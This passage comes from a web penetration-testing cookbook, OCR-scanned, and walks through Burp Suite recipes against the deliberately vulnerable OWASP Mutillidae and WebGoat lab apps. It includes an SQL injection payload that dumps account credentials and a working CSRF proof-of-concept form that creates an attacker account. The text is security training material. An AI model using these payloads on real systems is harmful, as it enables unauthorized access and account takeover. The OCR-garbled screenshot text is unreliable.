Select Live Capture Request

Send requests here from other tools to confiqure a live capture. Select the request to use, configure the other options

[ Remove J # A | Host Request
1 hitp://192.168.56.101 GET /mutilidae/ HTTPH.1Host: 192.168.56.101...

Clear

[ Start live capture

Token Location Within Response

Select the location in the response where the token appears.

®Cooke | showhins=!
S showhints=1
orm Tied:
PHPSESSD=q7cTScqfBaqvkiaTd1oi . |

(U Custom location: Configure

Since we have the correct cookie value selected, we can begin the live
capture process. Click the Start live capture button, and Burp will send
multiple requests, extracting the PHPSESSID cookie out of each response.



After each capture, Sequencer performs a statistical analysis of the level of
randomness in each token.

9. Allow the capture to gather and analyze at least 200 tokens, but feel free to
let it run longer if you like:

o ‘ : 11109 100
A 1R CAr \VVa CcAanTlIFe | ' ITTRY/ /1 / 2 5
HVE CAPLUIC « LILLK, | J &,

4 DUIP >equence

@ Live capture (596 tokens) H

[ Pause J { Copy tokens J (] Auto analyze (next: 600)  Requests: 596

{ Stop 1 { Save tokens J [ Analyze now J Errors: 0

Summary  Character-level analysis  Bit-level analysiz ~ Analysis Options

10. Once you have at least 200 samples, click the Analyze now button.
Whenever you are ready to stop the capturing process, press the Stop button
and confirm Yes:

4 Burp Sequencer [live capture #1: http://192.168.56.1011

Tl N/
( ontirm X
Lontirm '

(2] Live capture (5855 tokens) [E— |

S J [ Copy tokens J OAd / ' ~ Are you sure you want to stop?

—_—

Stop [ save tokens J u

Yes {NDJ

J Summary I Character-level analysis I Bit-level analysis | Analysis Options |

11. After the analysis is complete, the output of Sequencer provides an overall
result. In this case, the quality of randomness for the PHPSESSID session
token is excellent. The amount of effective entropy is estimated to be 112



bits. From a web pentester perspective, these session tokens are very strong,
so there is no vulnerability to report here. However, though there is no
vulnerability present, it is good practice to perform such checks on session
tokens:



U“ capture stopped) Q
Pause Copy tokens Auoanalyze  Requests: 20004

Stop {Savetukens} ‘Anaryze now] Erors: 0

_[ Summary [ Character-fvel analysis T Bit-level analysis TAR&I}‘S'I& Options 1

Overall result

The overall qualty of randomness wihin the sample i estimated o be: excellnt
Ata sionificance level of 1%, the amount of effective entropy i estimated to be: 112 bis.

IVOIE: LTAracier-1evel anaiysis Was nl DEMOmEd DECauUse INe Sampie SIZE |

Effective Entropy

The chart shows the number of bits of effective entropy at each significance level, based on alltests, Each significance level defines a minimum probabilty of the obs
the sample is randomly generated. When the probabifty of the observed results occurring fall below this level, the hypothesis that the sample i randomly generated
significance level means that stronger evidence s required to reject the hypothesis that the sample i random, and 30 increases the chance that non-random data wil

A0%

1%




How it works...

To better understand the math and hypothesis behind Sequencer, consult
Portswigger's documentation on the topic here:
https://portswigger.net/burp/documentation/desktop/tools/sequencer/tests.



https://portswigger.net/burp/documentation/desktop/tools/sequencer/tests

Testing for cookie attributes

Important user-specific information, such as session tokens, is often stored in
cookies within the client browser. Due to their importance, cookies need to be
protected from malicious attacks. This protection usually comes in the form of
two flags—secure and HttpOnly.

The secure flag informs the browser to only send the cookie to the web server if
the protocol is encrypted (for example, HTTPS, TLS). This flag protects the
cookie from eavesdropping over unencrypted channels.

The HttpOnly flag instructs the browser to not allow access or manipulation of
the cookie via JavaScript. This flag protects the cookie from cross-site scripting
attacks.



Getting ready

Check the cookies used in the OWASP Mutillidae II application, to ensure the
presence of protective flags. Since the Mutillidae application runs over an
unencrypted channel (for example, HTTP), we can only check for the presence
of the HttpOnly flag. Therefore, the secure flag is out of scope for this recipe.



How to do it...

Ensure Burp and OWASP BWA VM are running and that Burp is configured in
the Firefox browser used to view OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the OWASP
Mutillidae II application.

2. Open the Firefox Browser, to access the home page of OWASP Mutillidae
IT (URL: http://<your_VM_assigned_IP_address>/mutillidae/). Make
sure you are starting a fresh session and you are not logged in to the
Mutillidae application:



€2 C¢ (D) 192.16856.101/mutidae/ w@q I\ ﬂ]l

o OWASP Mutilidae Il: Web Pwn in Mass Production
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3. Switch to the Proxy | HTTP history tab, and select the request showing your
initial browse to the Mutillidae home page. Look for the GET request and its
associated response containing Set-Cookie: assignments. Whenever you
see this assignment, you can ensure you are getting a freshly created cookie
for your session. Specifically, we are interested in the PHPSESSID cookie
value.

4. Examine the end of the Set-Cookie: assignments lines. Notice the absence
of the HttpOnly flag for both lines. This means the PHPSESSID and




showhints cookie values are not protected from JavaScript manipulation.
This is a security finding that you would include in your report:

Target | Proxy | Spider T Scanner X niruder I Repeater [ Sequencer [Decuder [ Comparer I Extender [ Project opfions [ User options IAlerls ‘

Intercept | HTTP history | WebSockets history I Options }

I S BN (R Sy N iy
O00ING OF OUI-Qr-8C0DE Froxy [rafmic 15 QISa0/ed Re-gnable

Fiker: Hiding C35, image and general binary content

§ oA Metod | URL

(Paans | Edted | Saus | Legh | MMERye |

’ij hip:192.168.56.101 GET  mutlidae/
4

M 414 HTIL

Request | Response |

_[R&w I Headers I Hex I HTIL [ Render ]

HITP/1.1 200 (K
Date: Tue, 04 Sep 2016 16:41:58 GT

Server: Apache/l.2.14 (Ubuntu) mod meno/Z.4.3 PHP/S.3.2-lubuntud. 30 with Suhosin-Patch proxy htul/3.0.1 nod pyth

Phusion Passenger/4.0.30 nod perl/2.0.4 Perl/vs.10.1

X-Powered-By: PHP/5.3.2-lubuntud. 30

Set-Cookie: PHPSESSID=q7c78cqfBaqukiaTdloiua?750; pathe/

Set-Cookie: shovhints=1

Logged-In-User:

Vary: Accept-Encoding
Content-Length: 45632
Connection: close
Content-Type: text/htul



How it works...

If the two cookies had HttpOnly flags set, the flags would appear at the end of
the Set-Cookie assignment lines. When present, the flag would immediately
follow a semicolon ending the path scope of the cookie, followed by the string
HttpOnly. The display is similar for the Secure flag as well:

Set-Cookie: PHPSESSID=<session token value>;path=/;Secure;HttpOnly;



Testing for session fixation

Session tokens are assigned to users for tracking purposes. This means that when
browsing an application as unauthenticated, a user is assigned a unique session
ID, which is usually stored in a cookie. Application developers should always
create a new session token after the user logs into the website. If this session
token does not change, the application could be susceptible to a session fixation
attack. It is the responsibility of web penetration testers to determine whether
this token changes values from an unauthenticated state to an authenticated state.

Session fixation is present when application developers do not invalidate the
unauthenticated session token, allowing the user to use the same one after
authentication. This scenario allows an attacker with a stolen session token to
masquerade as the user.



Getting ready

Using the OWASP Mutillidae II application and Burp's Proxy HTTP History and
Comparer, we will examine unauthenticated PHPSESSID session token value.
Then, we will log in to the application and compare the unauthenticated value
against the authenticated value to determine the presence of the session fixation

vulnerability.



How to do it...

1. Navigate to the login screen (click Login/Register from the top menu), but
do not log in yet.

2. Switch to Burp's Proxy HTTP history tab, and look for the GET request
showing when you browsed to the login screen. Make a note of the value
assigned to the PHPSESSID parameter placed within a cookie:

[ Target l Proxy I[ Spider T Scanner T Intruder I Repeater T Sequencer T Decoder T Comparer T Extender I Project options T User options TASerts I

[ Intercept l HTTP history I WebSockets history I Options }

‘ Filter: Hiding CSS, image and general binary content

# 4| Host | Method | URL |Params | Edted | Status | Length | MMEtype |Extension | Ttle
126\ hitp://192.168.56.101 GET Imutilidae/index.php?page=login.php Vv 200 50832 HTML php
-«

Request | Response

Raw | Params | Headers | Hex

GET /mutillidae/index.php?page=login.php HTTP/1.1

Host: 152.168.586.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:61.0) Gecko/20100101 Firefox/El1.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168_5€ 101/ /mutillidae/index php?page=admin. phpéusername=&password=guser-info-php-submit-button=ViewtAccount+Details
Cookie: showhints=1;]|PHPSESSID=08néptqhnrnk3edv4ddoldcendd;| acopendivids=swingset,jotto,phphbl rednine; acgroupswithpersist=nada
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

3. Right-click the PHPSESSID parameter and send the request to Comparer:



Target | Proxy I Spider [ scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender T_

Intercept | HTTP history I WebSockets history [ Options ]

Fitter: Hiding CS5, image and general binary content

# A/ Host | Method | URL | Params
126 hitp:/192.168.36.101 GET Imutilidae/index.php?page=login.php J
<

J_Raquﬁt I Response ]

_[RawT Params I Headers T Hex ]

GET /mutillidae/index.php?page=login.php HITR/L.1
Host: 192 168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wined4; xed4; rv:el.0) Gecko/20100101 Firefo
Accept: text/html,application/xhtmltxml,applicacion/xml;q=0.9,%/*%;q=0.8
Accept-Language: en-US,en; q=0.5
Accept-Encoding: gzip, deflate

Referer: http://152.168.56.101/mutillidae/index.php?p| Send to Spider

Cookie: Ishwhlntsﬂ; PHPSESSID=08neptghnrnk3edvddoldt o

Comnection: close .

Upgrade-Insecure-Requests: 1 Do & passive scan

Cache-Control: max-age=0 Send to Intruder Ctrls!
Send to Repeater Cirl+R
Send to Sequencer

Send to Comparer

4. Return to the login screen (click Login/Register from the top menu), and,
this time, log in under the username ed and the password pentest.

5. After logging in, switch to Burp's Proxy HTTP history tab. Look for the
POST request showing your login (for example, the 302 HTTP status code)
as well as the immediate GET request following the POST. Note the
PHPSESSID assigned after login. Right-click and send this request to



Comparer.

6. Switch to Burp's Comparer. The appropriate requests should already be
highlighted for you. Click the Words button in the bottom right-hand
corner:

‘ Target | Proxy | Spider Tsmnner T Intruder T Repeater Tsequen:er T Decoder I Comparer I Extender TP!UJEB( options T User options TAieﬂs

Comparer

This function lets you do a word- or byte-level comparison between different data. You can load, paste, or send data here from other tools and then select the comparison you want to perform,

# . LLength L Data - . - ‘ { Paste J
: o POST maltocndesphege=bgn o HTTF Host 192168.56.101serAget Nozhs0 (dows T 0.8 W | | (1008
Remove
Clear
# : | Length | Data
1 820 GET /mutilidae/index. php?page=| \uqln php HTTP/1. 1Host: 192.168.56.101User- Agen( Mozilla/s.0 (Windows NT 10.0; Winé4; x6..)
A popup shows a detailed comparison of the differences between the two
requests. Note the value of PHPSESSID does not change between the
unauthenticated session (on the left) and the authenticated session (on the
right). This means the application has a session fixation vulnerability:
[ & O

8§ /mutiidaeindex php7page=login.php HTTPH.1 ST imutiiae/ndex php7pege=iogin. php HTTPI.1
Host: 192.168.56.101 Host 192168.56.101

User-Agent: Mozia/5.0 (Windows NT 10.0; Winb4; x54; 1v:61.0) Gecko/20100101 Firefo/61.0 User-Agent: Mozila/5.0 (Windows NT 10.0; Winb4; x64; v:61.0) Gecko/20100101 Firefoxs61.0
Accest texthim .9.4a=0.6 Accest texyhiml =0.9,7"q=0.8

Accept-Langusge: en-US.ena=0.5 Accept-Language: en-US,eng=0.5

AcceptEncoding: g2ip, defiate Accept Encoding: gz, defiate :

Referer Referer: nitp:/152 168.56.101/mutiidse/index php?page=kgR. pho

hitp:A192 168 56. = §ifi-php-Submi Nt Content Type:

Cookie: | sresesso steod’; | otto, phptb2, redmmne; -

Connection: close Cooke: | | gset jotto phpbb2 redmine. acgroupswihpersist=nada
Upgrade-insecure-Requests: 1 Connection: close

Upgrade-insecure-Requests: 1

php-submi-buttonsLogin

Key [Modified [Deleiedl Added O sync views



How it works...

In this recipe, we examined how the PHPSESSID value assigned to an
unauthenticated user remained constant even after authentication. This is a
security vulnerability allowing for the session fixation attack.



Testing for exposed session variables

Session variables such as tokens, cookies, or hidden form fields are used by
application developers to send data between the client and the server. Since these
variables are exposed on the client-side, an attacker can manipulate them in an
attempt to gain access to unauthorized data or to capture sensitive information.

Burp's Proxy option provides a feature to enhance the visibility of so-called
hidden form fields. This feature allows web application penetration testers to
determine the level of the sensitivity of data held in these variables. Likewise, a
pentester can determine whether the manipulation of these values produces a
different behavior in the application.



Getting ready

Using the OWASP Mutillidae IT application and Burp's Proxy's Unhide hidden
form fields feature, we'll determine whether manipulation of a hidden form field

value results in gaining access to unauthorized data.



How to do it...

1. Switch to Burp's Proxy tab, scroll down to the Response Modification
section, and check the boxes for Unhide hidden form fields and
Prominently highlight unhidden fields:

Response l‘v’lc:n:ﬂiﬁcaticzm|

2]
@I These settings are used to perform automatic medification of responses.

] Unhide hidden form fields

(] Prominently highlight unhidden fields
L] Enable disabled form fields
g

Remove input field length limits

|| Remove JavaScript form validation

._J Remove all JavaScript

(] Remove <object= tags
(] Convert HTTPS links to HTTP

. Remove secure flag from cookies

2. Navigate to the User Info page. OWASP 2013 | A1 — Injection (SQL) |
SQLi — Extract Data | User Info (SQL):

®% OWASP Mutillidae Il: Web Pwn in

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cr1

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL

OWASP 2013 Al - Injection (SQL) } | SQLI - Extract Data » | User Info (SQL)

3. Note the hidden form fields now prominently displayed on the page:



o OWASP Mutillidae Il: Web Pwn in Mass Production

Version; 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e)  Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL ResetDB View Log View Captured Data

owAsP2013 '

EEETT, [ User Lookup (SQL)

Back e Help Me!
. Hints |

x

— ’ ‘W Switch to SOAP Web Service versi I Switch to XPath versi
witch to en Service version witch to XPath version
Documentation ! et

Fidden field [page]

@ ‘ Please enter username and password |

Getting Started: to view account details
Project Whitepaper

Name
‘ Password

[ View Account Details ]

4. Let's try to manipulate the value shown, user-info.php, by changing it to
admin.php and see how the application reacts. Modify the user-info.php
to admin.php within the Hidden field [page] textbox:



[ User Lookup (SQL)

Back e Help Me!

‘ Hints \
J = A
A‘Ax Switch to SOAP Web Service version XML Switch to XPath version
o

Hldden fleld [pag_e] [admin.php

5. Hit the Enter key after making the change. You should now see a new page
loaded showing PHP Server Configuration information:



Secret PHP Server Configuration Page

% Back e Help Me!

additional .ini files

System Linux owaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC
2010 1686

Build Date Apr 17 2015 15:01:49

Server AP| Apache 2.0 Handler

Virtual Directory disabled

Support

Configuration File  |/etc/phpS/apache2

(php.ini) Path

Loaded lowaspbwa/owaspbwa-svn/etc/phpb/apache2/php.ini

Configuration File

Scan this dir for letc/phpb/apache2/conf.d

Additional .ini files

letc/php5/apache2/conf.dfcurl.ini, /etc/php5/apache2/conf.d/gd.ini, /etc/phpS/apache?

parsed fconf.d/merypt.ini, /etc/php5/apache2/conf.d/mysql.ini, /etc/phpS/apache2/conf.d
Imysqli.ini, /etc/php5/apache2/conf.dipdo.ini, /etc/phpS/apache2/conf.d/pdo_mysql.ini

PHP API 20090626

PHP Extension 20090626

Zend Extension 220090626

Zend Extension API1220090626,NTS




How it works...

As seen in this recipe, there isn't anything hidden about hidden form fields. As
penetration testers, we should examine and manipulate these values, to
determine whether sensitive information is, inadvertently, exposed or whether
we can change the behavior of the application from what is expected, based on
our role and authentication status. In the case of this recipe, we were not even
logged into the application. We manipulated the hidden form field labeled page
to access a page containing fingerprinting information. Access to such
information should be protected from unauthenticated users.



Testing for Cross-Site Request
Forgery

Cross-Site Request Forgery (CSRF) is an attack that rides on an authenticated
user's session to allow an attacker to force the user to execute unwanted actions
on the attacker's behalf. The initial lure for this attack can be a phishing email or
a malicious link executing through a cross-site scripting vulnerability found on
the victim's website. CSRF exploitation may lead to a data breach or even a full
compromise of the web application.



Getting ready

Using the OWASP Mutillidae IT application registration form, determine whether
a CSREF attack is possible within the same browser (a different tab) while an
authenticated user is logged into the application.



How to do it...

To level set this recipe, let's first baseline the current number of records in the
account table and perform SQL Injection to see this:

1. Navigate to the User Info page: OWASP 2013 | A1 — Injection (SQL) |
SQLi — Extract Data | User Info (SQL).

2. At the username prompt, type in a SQL Injection payload to dump the entire
account table contents. The payload is ' or 1=1-- <space> (tick or 1
equals 1 dash dash space). Then press the View Account Details button.

3. Remember to include the space after the two dashes, since this is a MySQL
database; otherwise, the payload will not work:

User Lookup (SQL)

Q Switch to XPath version

to view account details

Name ! or 1=1--
Password

[ View Account Details ]

I Please enter username and password J

4. When performed correctly, a message displays that there are 24 records
found in the database for users. The data shown following the message
reveals the usernames, passwords, and signature strings of all 24 accounts.
Only two account details are shown here as a sample:



[ Results for "™ or 1=1--|".24 records |[found.

Username=admin
Password=admin
Signature=g0t rO0t?

Username=adrian
Password=somepassword
Signature=Zombie Films Rock!

We confirmed 24 records currently exist in the accounts table of the
database.

5. Now, return to the login screen (click Login/Register from the top menu)
and select the link Please register here.

6. After clicking the Please register here link, you are presented with a
registration form.

7. Fill out the form to create a tester account. Type in the Username as tester,
the Password as tester, and the Signature as This is a tester account:

Username ==

Password eccoee Password Generator

Confirm Password |eeeeee

This is a tester account

Signature

8. After clicking the Create Account button, you should receive a green
banner confirming the account was created:

9. Return to the User Info page: OWASP 2013| A1 — Injection (SQL) | SQLi



— Extract Data | User Info (SQL).
10. Perform the SQL Injection attack again and verify that you can now see 25
rows in the account table, instead of the previous count of 24:

Results for "™ or 1=1-- ".25 records found.

11. Switch to Burp's Proxy HTTP history tab and view the POST request that
created the account for the tester.

12. Studying this POST request shows the POST action (register.php) and the
body data required to perform the action, in this case, username, password,
confirm_password, and my_signature. Also notice there is no CSRF-token
used. CSRF-tokens are placed within web forms to protect against the very
attack we are about to perform. Let's proceed.

13. Right-click the PoST request and click on Send to Repeater:

{ Target [ Proxy ] Spider T Scanner T Intruder T Repeater I Sequencer T Decoder T Comparer T Extender I Project options T User options T Alerts }

Intercept I HTTP history I WebSockets history I Options ]

‘ Fitter: Hiding CSS, image and general binary content

# A Host | Method URL | Params | Edited | Status | Length | MIMEtype |Exten
| 70 http:/f192.168.56.101 I POST Imutilidaefindex.php?page=register.php J 200 I 45863 HTML php
%=

Reguest | Response
J Raw I Params T Headers Tm

POST /mutillidae/index.php?page=register.php HTIP/1.1l

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x€4; rv:61.0) Gecko/Z0l00101 Firefox/E1.0 .
Accept: text/html,application/xhtmltxml,application/xml;q=0.9,*/*;¢q=0.8 SRR LEET
Accept-Language: en-US,en;q=0.5 Do an active scan
Accept-Encoding: gzip, deflate

Referer: http://182.168.56.101/mutillidae/index.php?page=register.php
Content-Type: application/x-www-form-urlencoded Send to Intruder Cirl=|
Cookie: Vsh-:!vhinbs=i; PHPSESSID=08néptghnrnk3edvd4o0l4teod3; acopendivids=swingset,jotto,phpbbl,y Send to Seguencer

Connection: close

Upgrade-Insecure-Recquests: 1 Send to Comparer

Do a passive scan

Send to Decoder
csrf-token=dusername=testerdipassword=testerdiconfirm password=testerimy signature=Thististattest

Show response in browser

14. If you're using Burp Professional, right-click select Engagement tools |
Generate CSRF PoC:



[Target T Proxy T Spider T Scanner T Intruder I Repeater | Sequencer T Decoder T Comparer T Extender T Project options T User options

1 = pdas ..

Go Cancel < |* >\

Request

_[Raw T Params T Headers T Hex ]

Response

Raw

POST /mutillidae/index.php?page=register.php HTTP/Ll.1
Host: 182.1£8.5&.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4; rw
Firefox/€1.0

Accept: text/html,application/xhtml+txzml, application/xml;
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

RPeferer: http://192_168_56_101l/mutillidae/index php?pags
Content-Type: application/x-www-form-urlencoded
Content-Length: 147

Cookie: showhints=1l; PHPSESSID=08néptghnrnk3edvddoliteocd
acopendivids=swingset,jotto,phpbbl,rednine; acgroupswith
Connection: close

Send to Spider

Do an active scan

Send to Intruder Cirl+l
Send to Repeater Ctrl+R

Send to Sequencer
Send to Comparer
Send to Decoder

Request in browser »

Upgrade-Insecure-Requests: 1 £ P >
Find references

Discover content
Schedule task
Generate CSRF PoC

csrf-token=Gusername=testeripassword=testerfconfirm pass
ististattestertaccountiregister-php-subnit-hbutton=Creats

Change request method
Change body encoding
Copy URL

15. Upon clicking this feature, a pop-up box generates the same form used on
the registration page but without any CSRF token protection:



B CsRr poC generator - i X

Request to: hitp:/192.168.56.101 sz Options |
_[ Raw I Params I Headers T Hex 1

POST /mutillidae/index.php?page=register.php HITP/1.1

Host: 192.168.56.101

User-Agent: Mozilla/L.0 (Windows NT 10.0; Wincd; xc4; rv:6l.0) Gecko/Z0l00101 Firefox/El.0
Aeeept: text/html, application/zhtmltzml,application/zml;q=0.9,%/*;q=0.8
Aecept-Language: en-U5,en;q=0.5

Aecept-Encoding: gzip, deflate

Beferer: http://Ll92.166.56. 101 /nutillidae/index. php'page=register.php
Content-Type: application/x-www-form-urlencoded

Content-Length: 147

Cookie: showhints=l; PHPSESSID=08néptghnrnkiedvddoldtecds;
acopendivids=swingset  jotto,phpbhl,rednine; acgroupswithpersist=nada

201 || # (|2 |]|Typeasearchterm 0 matches

CSRF HTNIL:

<htnl® E
€!== CSRF PoC - generated by Burp Suite Professional --»
<hody>
<script>history pushState('', '', '[')</script>

<form action="http://152.168_56.101/mutillidae/index. php?page=register php"

nethod="PI5T">

<input type="hidden" name="csrfigdh;token" value="" />

<input type="hidden" name="username" wvalue="tester" />

<input type="hidden" name="password" value="tester" />

<input type="hidden" name="confirm&f95;password" value="tester" />

<input type="hidden" name="nyif95;sinature"
value="This&f32;is6f32;a8f§32 ;testerdf3l; account” />

<input type="hidden" name="register&f45;phpifds;subnitif4s;button”
value="Createlf32;Account” />

<input type="subnit" value="Submit recuest" />

</form>
</hady>
</htnl> L
v
2| # || =] Tmeasearchtem 0 matches

Regenerate Test in browser J t Copy HTHML j [ Close J




16. If you are using Burp Community, you can easily recreate the CSRF PoC
form by viewing the source code of the registration page:

Register for an Account

Version of this Page

[ Please choose your username, password and signature ]

Username

P dG t
Password assword Generator e s e

Confirm Password Save Page As...

i i >
Signature Send Page to Device

Save Page to Pocket
{ View Background Image

Select All

| View Page Source

[ Create Account ] View Page Info

Inspect Element (Q)
3-( Take a Screenshot

17. While viewing the page source, scroll down to the <form> tag section. For
brevity, the form is recreated next. Insert attacker as a value for the
username, password, and the signature. Copy the following HTML code
and save it in a file entitled csrf.html:

<html>
<body>
<script>history.pushState('"', '', '/')</script>
<form action="http://192.168.56.101/mutillidae/index.php?
page=register.php" method="POST">
<input type="hidden" name="csrf-token" value="" />
<input type="hidden" name="username" value="attacker"
/>
<input type="hidden" name="password" value="attacker"
/>
<input type="hidden" name="confirm_password"
value="attacker"



/> <input type="hidden" name="my_signature"
value="attacker account" />
<input type="hidden" name="register-php-submit-button"
value="Create Account" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

18. Now, return to the login screen (click Login/Register from the top menu),
and log in to the application, using the username ed and the password
pentest.

19. Open the location on your machine where you saved the csrf.html file.
Drag the file into the browser where ed is authenticated. After you drag the
file to this browser, csrf.html will appear as a separate tab in the same
browser:

v C"* csrf.html

20. For demonstration purposes, there is a Submit request button. However, in
the wild, a JavaScript function would automatically execute the action of
creating an account for the attacker. Click the Submit request button:

192.168.56.101/mutillidae/ir X /C:/Packt/Ch6%20Assessing%:20S X

& @ @ file:///C:/Packt/Ch6 Assessi

Submit request

You should receive a confirmation that the attacker account is created:



[ Register for an Account

<@ Back e Help Me!

...........................................................................................

21. Switch to Burp's Proxy | HTTP history tab and find the maliciously
executed POST used to create the account for the attacker, while riding on
the authenticated session of ed's:



( Targe IProxy {Spider { Scanner [Intruder Repeater N Sequencer { Decoder [Currparer { Extender N Preck options I Usér ophons I Alrs ]

o |y Ve |

Fiter: iding C3S, mage and general inary contt

oAt Nebod | URL Parns | Edted  Sis | Lengh |WMENoe Eensn |The
L AR ] POST Inutidaeindex honage=regatr.php { N G OML

<« p—

Reues! | Respons

R | Params | Headers | ex \

DOST fuutd1lidae/inde. phy?pagesregister.phy AITR/L.

Host: 192, 168, 5. 101

User=hgent: Mozilla/s.0 (Windows NT 10.0; Vinéd; xéd; vv:61.0) Geclo/20000101 Firefox/el.0
heeapt: text/heml, application/xhenltiml, application/mml;q=0.5,*/*; =08

hecept-Language: en-U3, en; 0. 5

hecept-Bncoding: gaip, deflate

Content=Type: application/x-wv=foru-urlencoded

Content-Length: 145

Cookle: shovhints=l; username=ed; uid=24; PHBSESSID=0Cncptatmunldedvddoddtend?; acopendivids=swingset,jotto,phpbb?, reduine; acqrowpswithpersistenada
Comection; close

Upgrade-Insecure-Requests: |

esti-takens{usernane=act ackeripassword=attackeréeontion password=attackerihy signaturezattackertaccountiregister-php-submit-buttonsCreatethecount

22. Return to the User Info page: OWASP 2013 | A1 — Injection (SQL) | SQLi
— Extract Data | User Info (SQL), and perform the SQL Injection attack
again. You will now see 26 rows in the account table instead of the previous
count of 25:

Results for "™ or 1=1-- ".26 records found.




How it works...

CSREF attacks require an authenticated user session to surreptitiously perform
actions within the application on behalf of the attacker. In this case, an attacker
rides on ed's session to re-run the registration form, to create an account for the
attacker. If ed had been an admin, this could have allowed the account role to be
elevated as well.



Assessing Business L.ogic

In this chapter, we will cover the following recipes:

Testing business logic data validation

Unrestricted file upload — bypassing weak validation
Performing process-timing attacks

Testing for the circumvention of workflows
Uploading malicious files — polyglots



Introduction

This chapter covers the basics of business logic testing, including an
explanation of some of the more common tests performed in this area. Web
penetration testing involves key assessments of business logic to determine how
well the design of an application performs integrity checks, especially within
sequential application function steps, and we will be learning how to use Burp to
perform such tests.



Software tool requirements

To complete the recipes in this chapter, you will need the following:

e OWASP Broken Web Applications (VM)
e OWASP Mutillidae link
¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)


https://portswigger.net/burp/

Testing business logic data validation

Business logic data validation errors occur due to a lack of server-side checks,
especially in a sequence of events such as shopping cart checkouts. If design
flaws, such as thread issues, are present, those flaws may allow an attacker to
modify or change their shopping cart contents or prices, prior to purchasing
them, to lower the price paid.



Getting ready

Using the OWASP WebGoat application and Burp, we will exploit a business
logic design flaw, to purchase many large ticket items for a very cheap price.



How to do it...

1. Ensure the owaspbwa VM is running. Select the OWASP WebGoat
application from the initial landing page of the VM. The landing page will
be configured to an IP address specific to your machine:

-m

owaspbwa

OWASP Broken Web Applications Project

Version 1.2

This is the VM for the Open Web Application Security Project (OWASP) Broken Web Applications project. It contains many, very vulnerable web
applications, which are listed below. More information about this project can be found in the project User Guide and Home Page.

For details about the known vulnerabilities in these applications, see https://sourceforge.net/p/owaspbwatickets/2limit=099&sort=_severity+asc.

1! This VM has many serious security issues. We strongly recommend that you run it only
4 on the "host only" or "NAT" network in the virtual machine settings !!!

TRAINING APPLICATIONS

| ©OWASP WebGoat |

€ OWASP ESAPI Java SwingSet Interactive

©0WASP RailsGoat

@OWASP Security Shepherd

@Magical Code Injection Rainbow

@Damn Vulnerable Web Application

©OWASP WebGoat NET

©owAsp Mutillidae I
©0WASP Bricks

© Ghost

Opwapp

2. After you click the OWASP WebGoat link, you will be prompted for some



login credentials. Use these credentials: User Name: guest Password:
guest.

3. After authentication, click the Start WebGoat button to access the
application exercises:

owAsPWebGoatved|

Thank you for using WebGoat! This program is a demonstration of common web application flaws. The
exercises are intended to provide hands on experience with application penetration testing techniques.

The WebGoat project is led by Bruce Mayhew. Please send all comments to Bruce at
WebGoat@owasp.org.

OWASP ASPECT

he Open Web Application Security Project

Application Security Experts
WebGoat Authors
Bruce Mayhew
Jff Williams
WebGoat Design Team V5.4 Lesson Contributers
David Anderson Sherif Koussa
Laurence Casey (Graphics) Yiannis Paviosoglou
Rogan Dawes
Bruce Mayhew
Special Thanks for V.4 Documentation Contributers
. Erwin Geimaert
Brian Ciomei (Multitude of bug fixes) Aung Khant

To all who have sent comments

Shertf Koussa



4. Click Concurrency | Shopping Cart Concurrency Flaw from the left-
hand menu:

Choose another language: English ~ Logout 0

Shopping Cart Concurrency Flaw

OWASP WebGoat v5.4

Introduction Solution Videos Restart this Lesson
General

Access Control Flaws

AJAX Security For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase

Authentication Flaws

Buffer Overflows merchandise for a lower price.

oncurrency

Shopping Cart

Thread Safety Problems ~ . -

S pin e e Shopping Cart Items Price Quantity Subtotal

Flaw Hitachi - 750GB External Hard Drive $169.00(0 $0.00
Cross-Site Scripting (XSS) .
Improper Error Handling Hewlett-Packard - All-in-One Laser $299.00(0 $0.00
Injection Flaws Printer
Denial of Service . : :
Te e clie E o o mieStitR Sony - Vaio with Intel Centrino $1799.00(0 $0.00
Insecure Configuration r :
Insecure Storage Toshiba - XGA LCD Projector $649.00|0 $0.00
Malicious Execution
Parameter Tampering g
Session Management Flaws Total: $0.00
Web Services Update Cart
Admin Functions
Challenge

Purchase
.
ASPECT
Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug

The exercise explains there is a thread issue in the design of the shopping
cart that will allow us to purchase items at a lower price. Let's exploit the
design flaw!

5. Add 1 to the Quantity box for the Sony - Vvaio with Intel Centrino
item. Click the Update Cart button:



Shopping Cart
Shopping Cart Items Price Quantity Subtotal

Hitachi - 750GB External Hard Drive $169.00(0 $0.00

Hewlett-Packard - All-in-One Laser
Printer $299.00(0 $0.00

Sony - Vaio with Intel Centrino $1799.00 ‘Il $0.00

Toshiba - XGA LCD Projector $649.00(0 $0.00

Total: $0.00

Update Cart

Purchase

6. Switch to Burp Proxy | HTTP history tab. Find the cart request, right-click,
and click Send to Repeater:

Target | Proxy | Spider | Scanner I Intruder I Repeater ISeqllemzr I Decoder I Comparer TExtende( IPm'pd options ] User options | Alerts

[ Intercept I HTTP history ] WebSockets history T Options. ]

| Fitter: Hiding CSS, image and general binary content | [

# 4| Host Method | URL Params | Edited | Status | Length | MMEtype | Extension | Title Comment |
s

3084 hitp://152.168.56.101 POST /\WebGoat/attack?Screen=158menu=&00 v 200 32737 HTML Shopping Cart Concurre. #

< >

Request | Response

_[RA—WI Params I Headers m

POST /WebGoat/attack?Screen=15&menu=000 HTTP/L. 1

Host: 192.168.5&.101
